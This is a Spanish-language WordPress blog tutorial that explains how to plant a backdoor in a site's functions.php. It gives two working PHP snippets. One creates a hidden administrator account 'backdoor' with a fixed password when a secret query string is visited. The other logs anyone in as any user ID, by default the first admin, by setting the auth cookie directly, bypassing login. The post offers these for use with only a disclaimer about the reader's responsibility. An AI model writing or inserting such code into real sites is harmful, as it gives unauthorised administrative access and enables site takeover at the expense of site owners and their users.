Blog sobre desarrollo WordPress en Español Desarrollo WordPress en Español
puerta trasera

Cómo crear una puerta trasera para entrar en WordPress

En esta entrada vamos a ver cómo crear una puerta trasera o backdoor en WordPress. Reitero, vamos a ver el cómo, el porqué hacerlo es otro tema que queda en manos y es responsabilidad de cada uno…

¿Qué es una puerta trasera?

Fuente: Wikipedia

En la informática, una puerta trasera (o en inglés backdoor) es una secuencia especial dentro del código de programación, mediante la cual se pueden evitar los sistemas de seguridad del algoritmo (autentificación) para acceder al sistema. Aunque estas «puertas» pueden ser utilizadas para fines maliciosos y espionaje no siempre son un error, ya que pueden haber sido diseñadas con la intención de tener una entrada secreta.

Resumiendo, es una acceso al panel de administración de WordPress sin pasar por el login. Vamos a ver dos formas de hacerlo.

La primera es poniendo una función en el archivo functions.php del tema para que genere un nuevo usuario con rol administrador y con las credenciales que definamos. La idea es enganchar esta función al hook wp_head para que se ejecute siempre que se cargue la página SI y sólo SI hemos definido un parámetro concreto con un valor concreto por query string.

Por ejemplo, definiremos un parámetro backdoor y un valor crea. En caso de cumplirse esta condición, crearemos un nuevo usuario backdoor (si no existe) con la contraseña my-password.

function my_backdoor() { if ($_GET['backdoor'] == 'crea') { require('wp-includes/registration.php'); if (!username_exists('backdoor')) { $user_id = wp_create_user('backdoor', 'my-password'); $user = new WP_User($user_id); $user->set_role('administrator'); echo 'Puerta trasera creada'; die(); } } } add_action('wp_head', 'my_backdoor');

Es decir, que si entramos en http://tu-dominio.com/?backdoor=crea y el usuario backdoor no existe, lo crearemos con la contraseña que definamos y el rol administrador. Ahora podremos dirigirnos al login e iniciar sesión con este usuario.

La segunda opción tiene una mecánica parecida. En lugar de generar un nuevo usuario, crearemos la cookie de sesión de un usuario existente. Para ello deberemos conocer el ID de un usuario administrador o probar con el 1 que es el que genera WordPress al instalarse. Pasaremos dos parámetros, uno que actuará como trigger y otro para indicar el ID, es decir, quedaría algo como http://tu-dominio.com/?backdoor=entra&who=1

function my_login_force() { if ($_GET["backdoor"] == "entra" && isset($_GET["who"])) { $id = $_GET["who"]; wp_set_auth_cookie($id); wp_redirect('/wp-admin'); die(); } } add_action('init', 'my_login_force');

Puedes asegurar un poco más éste código por ejemplo añadiendo una secret key encriptada en MD5. De este modo pasarás una clave a través de un parámetro nuevo y la comprobarás encriptada en MD5 contra tu secret key, y en caso de coincidir ejecutar el código.

Los motivos para tener una puerta trasera pueden ser variados, si usas este código es bajo tu responsabilidad. Sé bueno

Puede que también te interese

Cómo crear imágenes destacadas con tamaños personalizados en WordPress
Cómo crear imágenes destacadas con tamaños personalizados en WordPress
Con ésta cuestión nos podemos encontrar muy a menudo sobre todo si estamos desarrollando temas a medida. En nuestro diseño vendrán definidas unas imágenes con…
Sidebar diferente para cada página en WordPress
Sidebar diferente para cada página en WordPress
En algunas ocasiones podemos necesitar tener un sidebar o barra lateral diferente para cada página o sección de nuestro sitio. Esto lo podemos hacer de…
Cómo eliminar automáticamente los enlaces por defecto en las imágenes dentro del editor de WordPress
Cómo eliminar automáticamente los enlaces por defecto en las imágenes dentro del editor de WordPress
WordPress dispone de un sistema potentísimo para administrar el contenido multimedia de tu sitio web. Es muy fácil subir archivos, imágenes, etc…y siempre las tendremos…
WP-CLI Parte 7, importar y exportar contenido
WP-CLI Parte 7, importar y exportar contenido
1. Instalación y primeros pasos 2. Instalando WordPress y primeros pasos y configuraciones 3. Trabajando con posts 4. Trabajando con usuarios 5. Trabajando con la…